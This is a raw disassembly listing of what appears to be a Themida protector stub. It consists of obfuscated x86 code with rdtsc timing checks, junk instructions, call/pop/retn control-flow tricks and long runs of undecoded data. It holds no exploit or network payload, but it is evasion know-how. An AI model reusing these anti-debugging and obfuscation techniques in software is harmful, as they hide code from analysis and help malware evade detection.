loc_5CE747:				; CODE XREF: Themida_:005CE742p
		rcl	dword ptr [ebx+0DFBD2D2h], 50h
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	eax
		call	near ptr loc_5CE767+1
		dec	eax
		test	al, 1Dh		; CODE XREF: Themida_:005CE75Cj
		db	65h
		jz	short near ptr loc_5CE75A+1
		fstp	dword ptr [edx+7Eh]
		jl	short loc_5CE7BC
		and	dh, ah
		xchg	eax, ecx


loc_5CE767:				; CODE XREF: Themida_:005CE754p
		enter	5250h, 0Fh
		xor	[edx+58h], ebx
		pop	ebx
		popa
		xor	dword ptr [esp], 58E663B2h
		jb	loc_5CE783
		sub	[ebp+6112B01h],	edx


loc_5CE783:				; CODE XREF: Themida_:005CE777j
		push	dword ptr [ebp+6110FD1h]
		cmc
		lea	eax, [ebp+614747Fh]
		mov	[ebp+6112089h],	ecx
		call	eax
		push	0
		push	esi
		call	sub_5CE7A3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE7A3	proc near		; CODE XREF: Themida_:005CE79Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5CE7A3	endp

; ---------------------------------------------------------------------------
		push	ebx
		cmc
		sub	si, 0B2C1h
		push	eax
		push	eax


loc_5CE7BC:				; CODE XREF: Themida_:005CE762j
		push	edx
		pusha
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		popa
		rdtsc
		mov	dh, 0F6h
		pop	edx
		pop	eax
		mov	[esp], eax
		push	0
		push	edi
		call	sub_5CE7D9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE7D9	proc near		; CODE XREF: Themida_:005CE7D1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5CE7D9	endp

; ---------------------------------------------------------------------------
		db 62h,	8Dh, 12h
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	44h
		cld
		mov	[ecx+111C419Dh], ecx
		push	es
		lea	ecx, [ebp+6113425h]
		mov	dx, cx
		push	eax
		mov	[esp], ecx
		mov	dx, 0D141h
		push	4
		mov	[ebp+6111C21h],	edi
		mov	si, 434Ah
		push	0C20D7D09h
		add	dword ptr [esp], 3DF292F7h
		mov	[ebp+6110E99h],	ebx
		push	dword ptr [ebp+6111499h]
		or	[ebp+61132D1h],	ebx
		call	eax
		push	0
		push	eax
		call	sub_5CE83F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE83F	proc near		; CODE XREF: Themida_:005CE837p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5CE83F	endp

; ---------------------------------------------------------------------------
		db 0FBh
		dd 0C28CAACDh, 11E8h, 0EBDEF900h, 912C5C17h, 0AAE3E856h
		dd 1D5429C2h, 958BBC79h, 61107C9h, 51BD895Ah, 8B061130h
		dd 111499BDh, 0AD958B06h, 0F061106h, 8Bh, 3C7F0300h, 2890Fh
		dd 0D78B0000h, 0F8C781h, 0BE90000h, 0C4000000h,	60F13B84h
		dd 63CAF960h, 47C7601Eh, 2024h,	0D7BF0F60h, 4813BD83h
		dd 0F000619h, 18E84h, 0F0B70F00h, 6A28C783h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0DED9C357h, 66585ACBh, 0EE80F28Bh, 2E07C7D7h, 0E964696Ah
		dd 0Fh,	0F58FA84Ah, 0E02B0655h,	52843DEDh, 0C72F7EDFh
		dd 74610447h, 9D890061h, 611181Dh, 481B858Bh, 89520619h
		dd 11003D9Dh, 47895E06h, 57006A0Ch, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 46A186EDh, 6813ED46h
		dd 8B66AFC7h, 1F858BF7h, 6A061948h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8938C353h
		dd 6A0847h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 9241FC3h,	85A48A41h, 10E8h, 0D284BD00h, 8D2D028Dh
		dd 2682E603h, 82AB6D6h,	0F9958B91h, 5A06110Dh, 0EE9h, 78534E00h
		dd 2357A08Dh, 0B0198F7Ch, 81DC76D9h, 980737E2h,	28C7834Dh
		dd 715BD89h, 7C70611h, 6E6F632Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0B2C35242h,	0CCB86B47h, 0FF88B60h
		dd 5161D0B7h, 47C75AF9h, 67696604h, 8BF78A00h, 19481785h
		dd 80D18B06h, 47898ECAh, 21EA810Ch, 81448CA7h, 55550FEAh
		dd 13858B49h, 8B061948h, 111405B5h, 51EE8006h, 8B084789h
		dd 11177DB5h, 0DE906h, 33D10000h, 31EB50D8h, 0B3BC5FFEh
		dd 58EB1F2Bh, 222DB58Bh, 8D8D0611h, 61106C9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 3EC35343h, 23FD3917h
		dd 53610D62h, 38E0Fh, 0C6800000h, 0E9915A31h, 14h, 0FD89E6C8h
		dd 5ECE1D73h, 99854C9Ch, 7D702E98h, 1E022442h, 11E850h
		dd 84110000h, 0D5002936h, 52ECF534h, 75034A97h,	5E321690h
		dd 6D8D8991h, 0FF061103h, 113425B5h, 0F565306h,	81h, 0E85E5E00h
		dd 4, 1000h, 639213BEh,	0BA665004h, 448BB31Bh, 0BE660424h
		dd 8B8DDAh, 6F16BE66h, 4244489h, 0F1BD8958h, 0FF06110Fh
		dd 111499B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0DFBC2B92h, 9F8B50B8h, 9D896D58h
		dd 6111BCDh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 6F3909C3h, 0DC5312E8h, 2AA9B58Bh
; ---------------------------------------------------------------------------
		adc	[esi], eax


loc_5CEB5A:				; CODE XREF: Themida_:005CE71Ej
		mov	eax, 0
		mov	si, dx
		or	eax, eax
		jz	loc_5CEB8B
		push	dword ptr [ebp+6111289h]
		jo	$+6
		mov	esi, 249F54B7h
		call	dword ptr [ebp+6111DA9h]
		pusha
		mov	ecx, eax
		or	[ebp+61101F5h],	ebx
		popa


loc_5CEB8B:				; CODE XREF: Themida_:005CEB64j
		mov	eax, eax
		pusha
		mov	edx, [ebp+6110875h]
		ja	loc_5CEBA0
		mov	edx, [ebp+61108BDh]


loc_5CEBA0:				; CODE XREF: Themida_:005CEB94j
		popa
		cmp	dword ptr [ebp+61125F1h], 0
		jnz	short loc_5CEBB3
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_5CEBCC


loc_5CEBB3:				; CODE XREF: Themida_:005CEBA8j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+6110A49h],	eax
		lea	ebx, [ebp+613B290h]
		call	ebx
		pop	ebx
		pop	eax


loc_5CEBCC:				; CODE XREF: Themida_:005CEBB1j
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_5CEBEC
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+6110A49h],	eax
		lea	ebx, [ebp+613AF31h]
		call	ebx
		pop	ebx
		pop	eax


loc_5CEBEC:				; CODE XREF: Themida_:005CEBD3j
		sub	[ebp+61122D9h],	edx
		mov	edx, [ebp+611137Dh]
		movsx	esi, bx
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5CEC08
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEC08	proc near		; CODE XREF: Themida_:005CEC00p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CEC08	endp

; ---------------------------------------------------------------------------
		retf	0A454h
; ---------------------------------------------------------------------------
		pop	edi
		add	dl, bh
		and	edi, esp
		dec	byte ptr [ebx-68727240h]
		push	ecx
		sbb	[esi], eax
		push	0
		push	eax
		call	sub_5CEC34
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEC34	proc near		; CODE XREF: Themida_:005CEC2Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5CEC34	endp

; ---------------------------------------------------------------------------
		dd 982CF574h, 0BDACE78Bh, 3D95315Fh, 8906111Fh,	11285D8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 535C6C91h, 0F9858BE6h, 0C706110Eh, 112DD185h
		dd 63A806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0BE84CFBh, 0DE000000h, 74DA96EAh
		dd 0A37636BBh, 0FE96AC3h, 0AD000000h, 0D9B563B7h, 531F6381h
		dd 0A8262CFBh, 0B85E5ABBh, 696BD736h, 270985C7h, 611h
		dd 8D890000h, 61105FDh,	33D5B5FFh, 6A0611h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 940A66C3h
		dd 456B725Fh, 0E8A2EC65h, 0Fh, 225B9338h, 0A2E0FA2Eh, 70338984h
		dd 8963CE48h, 1130919Dh, 95FF5B06h, 6111DA9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B8C35040h, 64C247B3h
		dd 0FF41841Ah, 3BD850Bh, 6A0611h, 5C595FFh, 0C08B0611h
		dd 9A3A3FEBh, 1A8DC29h,	1A03E192h, 554051C9h, 0F9DC28A3h
		dd 7CCFAA8Eh, 0CEA1FEBBh, 5D8F80FAh, 10FABE6Bh,	625AF5F2h
		dd 4594885Eh, 21B31208h, 3D5A9E9Fh, 48318D9Bh, 4FA3A2F9h
		dd 0C3EA2DA1h, 0AB8D8D63h, 89061952h, 11032DB5h, 5D8D8906h
		dd 0F061128h, 85C7D6B7h, 6112DD1h, 5ECCh, 9E9h,	0EC19A300h
		dd 48CC1FF6h, 85C7A60Ah, 6112709h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5CEDE3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEDE3	proc near		; CODE XREF: Themida_:005CEDDBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5CEDE3	endp

; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FDB90B0h, 0D88h, 7E800h, 52070000h,	0D1AEDA10h, 57535AE9h
		dd 298D858Bh, 585A0611h, 2A21B5FFh, 6A0611h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0E61475C3h
		dd 0BD9B4DDDh, 0FF833724h, 111DA995h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0BD27789Dh, 118D7B58h, 6AFCFBh, 5C595FFh, 0C08B0611h
		dd 38086CEBh, 351DF811h, 73485BA1h, 0DE9829FEh,	0AC8B9F74h
		dd 37A42CA1h, 0BC451003h, 78506FD1h, 0A63430E0h, 0E7E1CE96h
		dd 63952812h, 34373F53h, 0A8DEAEFh, 179A9049h, 90A885B5h
		dd 0BEF85C63h, 0F06E7069h, 0EF96B96Fh, 0FA118AFCh, 8D6D5379h
		dd 3EF9ACC3h, 93F6D829h, 3016AE99h, 5E37996Ah, 297DACBh
		dd 0E87CAEDFh, 4F2F2599h, 0AE869FDh, 0D8000000h, 0AD53B9D2h
		dd 0CE5304E6h, 81F95874h, 59E8C0h, 3BE78100h, 0BB7C5D1Ah
		dd 19EC440Fh, 2DB7EB81h, 0B52919ECh, 61126B9h, 0BF0F308Bh
		dd 14F681D3h, 0F67A2A4h, 187h, 0EE81F800h, 1D5BBB4Eh, 0CE9h
		dd 0F07F8700h, 0C9CD08D6h, 8BA21102h, 0C681C1h,	0F79DF63h
		dd 5256CEB7h, 427DA6B9h, 8F5F03h, 0FDE5EF81h, 0E88136BCh
		dd 598D548Fh, 8BC081F9h, 0B2598D54h, 1EB8136h, 0F000000h
		dd 0FFFFA385h, 2D8D8BFFh, 0EB06112Ch, 3B5E900h,	71F70000h
		dd 598E187Eh, 0A7A60056h, 8140E2A8h, 0EA5EC88Eh, 0CF74AFE5h
		dd 6F252A1Eh, 50060935h, 341A15D6h, 197F70F2h, 3EEC639Fh
		dd 0C5C97D39h, 29655C50h, 968CF826h, 0B9F10FCFh, 0E331FC6Bh
		dd 0A0906D62h, 968CFB2Bh, 0AAFC08CFh, 0E868B5BAh, 91800E7Ah
		dd 61D06A81h, 0E741A7CBh, 81236966h, 9F094F40h,	0B4EEA4ABh
		dd 5BCD838Ch, 74AEE4EBh, 148EC4CBh, 0C86F252Ah,	0D5AE62DCh
		dd 23C8C69h, 0BDA4F00Dh, 0B0E86BB2h, 0B9D8BEB1h, 717EEF5Fh
		dd 5CAE24ACh, 0BDD83ECDh, 0AEA1910Fh, 0CF8EDB71h, 131CCF25h
		dd 0F522568Ah, 6FA3A647h, 0BECF8CDAh, 0FFC7D96Ah, 0B30FC45Dh
		dd 0E7h, 88874359h, 333C2F75h, 0F4163971h, 38CF968Ch, 55907BEAh
		dd 6F9D435Ah, 8D10AC0Bh, 0CEBAB5B7h, 1D101EC0h,	7F332438h
		dd 0EF5BA919h, 0E85A88E0h, 0EFC906E7h, 2F48CFBBh, 34D5A6CDh
		dd 82F865B8h, 0B7FBF470h, 2620E661h, 0EA366329h, 0B3B0C2BEh
		dd 1CE1EE58h, 0E957B624h, 51D24581h, 16CF95EEh,	6B51800Ah
		dd 0B1C360D8h, 0FC01BFB0h, 0E9AFA0A0h, 0D3DC0B99h, 0D2DD055Fh
		dd 82BDD7CBh, 0C2C0708Dh, 9F87C394h, 0B9949C82h, 0E05C0C58h
		dd 0A973A3B4h, 5B85CF95h, 7139B754h, 95AA50CEh,	0B39917CFh
		dd 326E3A86h, 0A6C5861Dh, 0E555E3D5h, 4A535C8Fh, 9513C354h
		dd 0E410C984h, 116B0276h, 2E78DED1h, 0AAE8353Ah, 8FE3EC58h
		dd 251541A2h, 84953832h, 0D3166CC9h, 1B1FC1DCh,	0D84A00BCh
		dd 0D1316768h, 75888743h, 0B455A7CBh, 0BDF7A86Ch, 338678F4h
		dd 9142D585h, 96D5A786h, 239F831Ah, 8586FE2Ch, 11C156C9h
		dd 16C98587h, 2B4FFD9Ah, 0A404FF9h, 1DE6254Bh, 0C5791849h
		dd 2FC98586h, 0CA5C323Dh, 0AEF61718h, 999657BCh, 9A4A926Bh
		dd 3500E605h, 0CD7B3180h, 727DE430h, 0D22B2420h, 0B49691E7h
		dd 0CA0C1771h, 0EF5B1718h, 857ABA68h, 4F3B49C9h, 857B1AC8h
		dd 979B29C9h, 0FDD7EF71h, 3B9B09DCh, 21000000h,	48386CB4h
		dd 9D7F21Ch, 4E45B104h,	0D709949Bh, 556ED159h, 89D5A6FAh
		dd 52B1890Fh, 0F8B0470Bh, 5CA1DFh, 783C9C6h, 149644CBh
		dd 1FADC985h, 0A3D7D805h, 2FEFh, 7B65BD00h, 949D8D4Eh
		dd 71ED8735h, 79E83A7Eh, 65EAB6E6h, 83FF58CCh, 96125E8Ch
		dd 0D957E5CFh, 414EF8C4h, 84B2A511h, 83CF9612h,	61DB3D75h
		dd 0D2DD0F65h, 0D2DD045Eh, 51C63A7Ch, 0CF968CA5h, 0B1BEABF9h
		dd 13BCF46Ch, 23C18E5h,	0CB65B09Dh, 0DC4AD591h,	444BFBC1h
		dd 0EDE263B9h, 0BD6DE210h, 4ACF9646h, 1A2D733Eh, 6CF78938h
		dd 465B8B8Ch, 5CE8CF96h, 85B1A6DAh, 8ACF9646h, 0DD0D027Eh
		dd 6ACF9646h, 3C2E78DEh, 3CC75D33h, 3FEF60DCh, 0C4CF9646h
		dd 194CC0A8h, 1E000000h, 0D28E8143h, 0EB8F8040h, 7778EA32h
		dd 3DC49D3Bh, 5890A327h, 0CFB1AED0h, 738A8543h,	0ED303F29h
		dd 425B5497h, 38C5CA7Ah, 926B64DCh, 0C919E4Ah, 0EF3E3130h
		dd 46A7A895h, 27C6C97Eh, 0E6895637h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 83242489h, 68042404h, 6581h, 68240C89h
		dd 7190h, 57241C89h, 6A58B951h,	0E9816BAEh, 659516A4h
		dd 8959CF89h, 9B685FF9h, 8900000Dh, 4812424h, 424h, 0A0685B00h
		dd 89000032h, 438F240Ch, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 0CCh
		db 0EFh, 52h, 48h
		dd 0F41B4C0h, 86C660E7h, 0B82E16F4h, 61956E3h, 0E0FFC503h
		dd 4B61FC31h, 0A1A589h,	4FE8F2C6h, 6C3266ADh, 9949BBBh
		dd 698D63E9h, 5554D185h, 2981BC14h, 1FF203F6h, 1E10ACF7h
		dd 333055EBh, 24A1041Eh, 6B9EB38h, 64E136D7h, 2317E7B9h
		dd 0CEF2AEEh, 1A64E0Dh,	7A265515h, 0DFD7D25h, 0DBC28166h
		dd 0EF81603Eh, 20E6058h, 0E861F18Bh, 5,	2B60A2E4h, 0F5BF9AAh
		dd 0E960DABFh, 0Eh, 131B317Eh, 3D71501Eh, 0C985FC60h, 8D0F53CAh
		dd 6, 850Fh, 0E8610000h, 0Fh, 80F677F2h, 0C58D8ABh, 0B8403E7Eh
		dd 66E1ACCBh, 5E76E881h, 10E95Bh, 26710000h, 741FEE1Bh
		dd 0B8C1142Eh, 0A5ABEB52h, 0D1804C5Bh, 0D6816607h, 890FFF38h
		dd 4, 61DF8B60h, 8B6641B6h, 9E8D9h, 38CB0000h, 0F0C21B7Ah
		dd 0F309FB3h, 28Bh, 5E616000h, 12E9h, 0D2E2F100h, 50777C2Bh
		dd 0EEEE4810h, 0C96407B4h, 0FC8B3E4Bh, 1840Fh, 66FC0000h
		dd 0BF92D781h, 8AD88B60h, 10E961D4h, 0F3000000h, 1E0D2111h
		dd 7B0A076Ah, 98F35457h, 66951878h, 812D16B9h, 5388F5C0h
		dd 0D4805162h, 0B8F55B4Ah, 6EBA14D7h, 56D8BF0Fh, 0F95ED98Bh
		dd 5BB3D38Bh, 8BF9BF0Fh, 0EE8D9h, 5FCB0000h, 0D1E88423h
		dd 2CCE7B83h, 92EBDB8Bh, 0E82BB866h, 66F8FC5Bh,	0D8ACC281h
		dd 66FDC180h, 17E9E281h, 12E9h,	971BF500h, 0C2D9B9Dh, 17167FBDh
		dd 296725A1h, 817D96C7h, 3B9660E2h, 7FBB664Fh, 0BE8A1h
		dd 0EE970000h, 7D5FC523h, 0C47159A7h, 66F85BA9h, 8B0F01BFh
		dd 0D8B70FCBh, 8E8h, 48608900h,	1A5E24DEh, 6E966h, 19FA0000h
		dd 0DFF93FF5h, 0F53F558h, 0F5ECFBFh, 384h, 0FEBF0F00h
		dd 0CE9C68Bh, 0D1000000h, 0E18CDF30h, 79B617F5h, 0E8D895A7h
		dd 0Eh,	0F807AE7h, 79C2DA2Ch, 0A6648E4Bh, 5E9D486h, 87000000h
		dd 9B5E077Eh, 18D0F5Ah,	0F9000000h, 8A0F5A50h, 10h, 0BE9h
		dd 0D96B3600h, 323E60AFh, 537B966Dh, 13E8FA8Bh,	0F000000h
		dd 65B4545Ah, 33AECC65h, 99B16D2Fh, 744976ECh, 8B5E34A0h
		dd 6E9F8h, 67F30000h, 3AE20997h, 0E926B6FCh, 11h, 0BC59B84Eh
		dd 0F76AAEE5h, 3ED6BEAFh, 81564868h, 0F0B96642h, 6AB866D7h
		dd 0C38B669Dh, 5E8h, 82E2000h, 0B70FF0B5h, 666059C7h, 60A451B9h
		dd 0DE9h, 7960E000h, 9E02A499h,	98410747h, 61F56686h, 0CE816661h
		dd 0C18B29E3h, 0F3C88166h, 0A22BAB5h, 8E0F0ACAh, 3, 0E9FFBF0Fh
		dd 0Ah,	7213CF07h, 0FD9647F7h, 0CB800D2Ah, 17870F76h, 0E8000000h
		dd 0Bh,	0EA8F7751h, 187B252Dh, 81CA3A3Eh, 2DE8A6CFh, 66535A53h
		dd 8DAFD081h, 0CF81F558h, 541DDD55h, 5F57C18Bh,	0E9D9B70Fh
		dd 13h,	5539FFAFh, 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0E839585Bh
		dd 8, 0CFC68B29h, 944CFD58h, 16800Fh, 11E90000h, 71000000h
		dd 85F53FA1h, 0A0BF08E8h, 5B0AE789h, 0B9B18D1Bh, 830FF958h
		dd 0Eh,	5E8h, 4E294C00h, 0D3800E83h, 0CE8A5E78h, 0DDCA8166h
		dd 10E9CEh, 61CB0000h, 9C001A28h, 9E9B184Eh, 7E35D87Eh
		dd 0FD8AF0A5h, 1474BAF9h, 0B70F5F33h, 81EEB2D3h, 390437DAh
		dd 11E835h, 0D34B0000h,	661D5B34h, 9D7D0D46h, 0E77FD4B9h
		dd 5FB393D0h, 0D7BDE181h, 0E9572C42h, 0Bh, 3BD8D4C4h, 550573E5h
		dd 5F173396h, 8C0Fh, 0BB660000h, 8B66EFD1h, 0FBB953D8h
		dd 5F10B2A8h, 2DDA8166h, 0F1816604h, 6E9DA69h, 11000000h
		dd 9E0F02E7h, 0F5F530Ah, 0CA8BF1BFh, 14E8h, 0E6379100h
		dd 7A97424Eh, 0A9760CD0h, 7BDEC991h, 0C81E3BDBh, 5FA3BB4Fh
		dd 0F5A7E91h, 0B85h, 5850F00h, 66000000h, 48BDC681h, 0CE9h
		dd 7DC27600h, 0AA2A486Ch, 0AB477243h, 0B855B821h, 0CB8B773Ah
		dd 0C38B6652h, 0FBA6659h, 0DE9F9E5h, 7C000000h,	0DB12A062h
		dd 79658070h, 3C76F934h, 0FC9BF0Fh, 58Ch, 396B900h, 0AE8647Bh
		dd 21000000h, 1E0F8219h, 0F0125F74h, 58EFB3E3h,	0F88B6651h
		dd 5AFC5359h, 11E9h, 60862A00h,	3F4F01AFh, 904B9B53h, 0D9A21FECh
		dd 0DF8B95D0h, 18E0Fh, 81FC0000h, 40BCA2D0h, 6E926h, 56370000h
		dd 48F30486h, 66F3B70Fh, 0C003C081h, 13E9h, 0BD9E7800h
		dd 5BCA4149h, 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h, 4979BA66h
		dd 0C5DA8156h, 596DF4ADh, 12E95A51h, 2E000000h,	66D37DB3h
		dd 0BA4332ACh, 27CD26CBh, 0BE1DA3F8h, 5EB2F9B4h, 5E850h
		dd 35F20000h, 57E96FA0h, 0B958585Bh, 3C436704h,	0AE9h
		dd 0EA01D000h, 3483BCCFh, 8129638Bh, 759395F0h,	7037BE79h
		dd 11E868DCh, 53000000h, 0F3168316h, 7D280A42h,	0D9078FCAh
		dd 0FB2898C3h, 8F6ED081h, 0E95A04F9h, 0Eh, 14B63847h, 0E3717E69h
		dd 4196037Dh, 0F1816219h, 2B17E97Bh, 148BE181h,	830F22E8h
		dd 29h,	14E8h, 70A39D00h, 62D9B458h, 0E5CA335Bh, 870922ECh
		dd 497FD651h, 0AE9F3h, 1BAC0000h, 0E4E7D30Ch, 76FDCA9Bh
		dd 0E54CBE5Fh, 0AE934B3h, 8A000000h, 0E5FF8BF0h, 6F01CFh
		dd 0E18166DBh, 0BF0FFDEDh, 13830FCFh, 0E9000000h, 0Eh
		dd 9F2DD4F7h, 0AEC1328Ah, 0D25BA30Eh, 5E518ECAh, 8F68160h
		dd 667A1F92h, 614E08BBh, 87EFBF66h, 66DABF0Fh, 0F5F078BBh
		dd 1CD0BA66h, 11830Fh, 6E80000h, 6F000000h, 2AA481E0h
		dd 0F381662Eh, 605B219Dh, 6060F98Ah, 0D9BF0F61h, 8F0F6161h
		dd 3, 0E8D1BF0Fh, 7, 19A4EEDEh,	0FE6C86Fh, 0F5FF3B7h, 489h
		dd 0FBE6600h, 29B6F94Eh, 38D0Fh, 8B660000h, 1830FF3h, 0F9000000h
		dd 94EF4DBFh, 10E91Fh, 30840000h, 83DF0DE8h, 420D9DE9h
		dd 22275794h, 0C68B3C02h, 0B866F8FCh, 800F94A5h, 5, 96D18166h
		dd 0F28166E3h, 8BF5C40Dh, 8E0FC3h, 66000000h, 27B5C68Bh
		dd 71ADB8B9h, 0FE81Ah, 309D0000h, 1D7251EBh, 0C5E0D3B7h
		dd 40045D3Eh, 830F57CEh, 0
		dd 0C28B5E5Eh, 12E8h, 6A061200h, 0B0B4619Fh, 7B45196Ah
		dd 0EBA16578h, 5ED94C90h, 0A919BA66h, 0DE8h, 43AB1900h
		dd 9490A37Dh, 234591ADh, 850F82AAh, 6, 71C1D181h, 0FC5B5962h
		dd 5AC88166h, 0EE836h, 0DB1B0000h, 18800D1Bh, 0FDA8A84Dh
		dd 31CF959Ch, 9E9h, 72797B00h, 5491DAF5h, 0F559D185h, 61606057h
		dd 61E8C380h, 0EE85Bh, 0F3AB0000h, 6959DC1h, 117E096Bh
		dd 9857AF06h, 68F0Fh, 0C3810000h, 34015E5Bh, 5E95Bh, 0ABFB0000h
		dd 0F562DD5h, 0BE8F7BFh, 0E0000000h, 3F1A81BEh,	7C490E74h
		dd 9E8306Dh, 0EE000000h, 404BEBB2h, 1C8CEC0Fh, 5859BCB5h
		dd 0B1E28166h, 870FE3h,	60000000h, 7F6C881h, 5E97AD3h
		dd 0F4000000h, 8D260B08h, 86BE6661h, 1FF780EBh,	0CE9h
		dd 82235D00h, 62B61EC1h, 1B229662h, 0FEB70F6Ah,	178F0Fh
		dd 12E90000h, 0D7000000h, 0C4F2D964h, 0AF493370h, 56720090h
		dd 0E4E18D4Bh, 80F48AEDh, 0DE904CFh, 99000000h,	0B437BFF5h
		dd 0D5E50DBEh, 0EFDB3F07h, 9C502ABBh, 5E939h, 46B00000h
		dd 0F41AB27h, 0BE66FEBFh, 0F0B813B2h, 0E82D1517h, 12h
		dd 126788F7h, 0C23E7A8h, 3CE1B55Bh, 3CC22FE2h, 7E908D5h
		dd 0DE000000h, 2FA1418Eh, 0B45985CBh, 8166605Fh, 0E97EBFE1h
		dd 11h,	525A856Fh, 4AD0A8C5h, 145A4F76h, 6A25925Dh, 8166613Ch
		dd 0E95704C9h, 8, 0C5886559h, 0A4430456h, 4880Fh, 0BE660000h
		dd 0FF910ABh, 0B866D2B7h, 7E8C4DBh, 0A2000000h,	0C8A5464Eh
		dd 0EDB31B3Ch, 5810F5Fh, 0BA000000h, 867E862h, 0AE8h, 0F48AF100h
		dd 297F76BAh, 0E88905CFh, 11h, 38083BDDh, 351DF811h, 73485BA1h
		dd 0DE9829FEh, 5FC68B74h, 12E959h, 2F590000h, 0F4EF5E33h
		dd 45C6F109h, 0DC3984D2h, 0B494E918h, 0FC88B66h, 68Ch
		dd 92EE8100h, 0E943D2F7h, 9, 2088AA21h,	0F3AE8CB6h, 20E281DAh
		dd 0E912CFDCh, 11h, 27451DC8h, 0B4480660h, 58EC7BC9h, 0CB375C30h
		dd 8A0F52EDh, 2, 8B593BB6h, 7E8F0h, 6A1B0000h, 9BA663D2h
		dd 0DE95Ch, 0FB930000h,	49D10E6Ch, 3BD9CF4Dh, 5E144334h
		dd 0DE9h, 0E850BF00h, 2D97AB2Dh, 9A623E90h, 0E8F98C01h
		dd 12h,	0BC32E7C1h, 104C3994h, 260B08F4h, 53800E8Dh, 8166F74Ah
		dd 5FC29CE0h, 8BD38B66h, 66D78AD8h, 8B96AABBh, 41B6F9F7h
		dd 41DD5FBBh, 0C081F503h, 7442ABFBh, 0FD88B66h,	588h, 0EA816600h
		dd 0DB814854h, 3298CBE1h, 38E0Fh, 0F5800000h, 88B96681h
		dd 0AFBB6619h, 8F0F7Bh,	0E9000000h, 0Ch, 3CC39D0Fh, 2C298AC4h
		dd 5E46696Ch, 0FF1EDABFh, 0F0816606h, 850F0176h, 1, 0C9BF0FFCh
		dd 38C0F53h, 0F000000h,	535EC9BFh, 1880Fh, 58F50000h, 0FD7B70Fh
		dd 12E8C2BFh, 0E5000000h, 45E57DE5h, 0FDDA093Fh, 0E84259C6h
		dd 0A27C082Fh, 54A6BAC8h, 5359460Ah, 61DBD781h,	66593FD5h
		dd 6344C981h, 4870Fh, 0BF660000h, 0D08116A0h, 9BE24AEh
		dd 5840Fh, 0F600000h, 8061F0BFh, 0E4B65DC8h, 8810Fh, 800F0000h
		dd 2, 0E9605F50h, 0Eh, 58374305h, 35101395h, 0FB609246h
		dd 61FC34FBh, 0C742BE53h, 66595AD4h, 53007CBBh,	13E9h
		dd 81624F00h, 68F62FD6h, 2FC8FEB0h, 0DF530368h,	0C3B3F489h
		dd 23BF665Eh, 840FF911h, 1, 0FBBF0FF9h,	38F0Fh,	8B660000h
		dd 81BEB9F9h, 0BF0F05F5h, 0E94FB7D2h, 6, 0D50D2E9Fh, 8166229Fh
		dd 0FC926D7h, 48Fh, 93B96600h, 8111B0D2h, 773D28C2h, 0CE94Eh
		dd 54C90000h, 0FB315E7Dh, 0ADB47C7Ah, 850FD9B1h, 6, 0B70FFC60h
		dd 0EB8061FFh, 0CBF38013h, 5820Fh, 17B90000h, 0F6AC72Eh
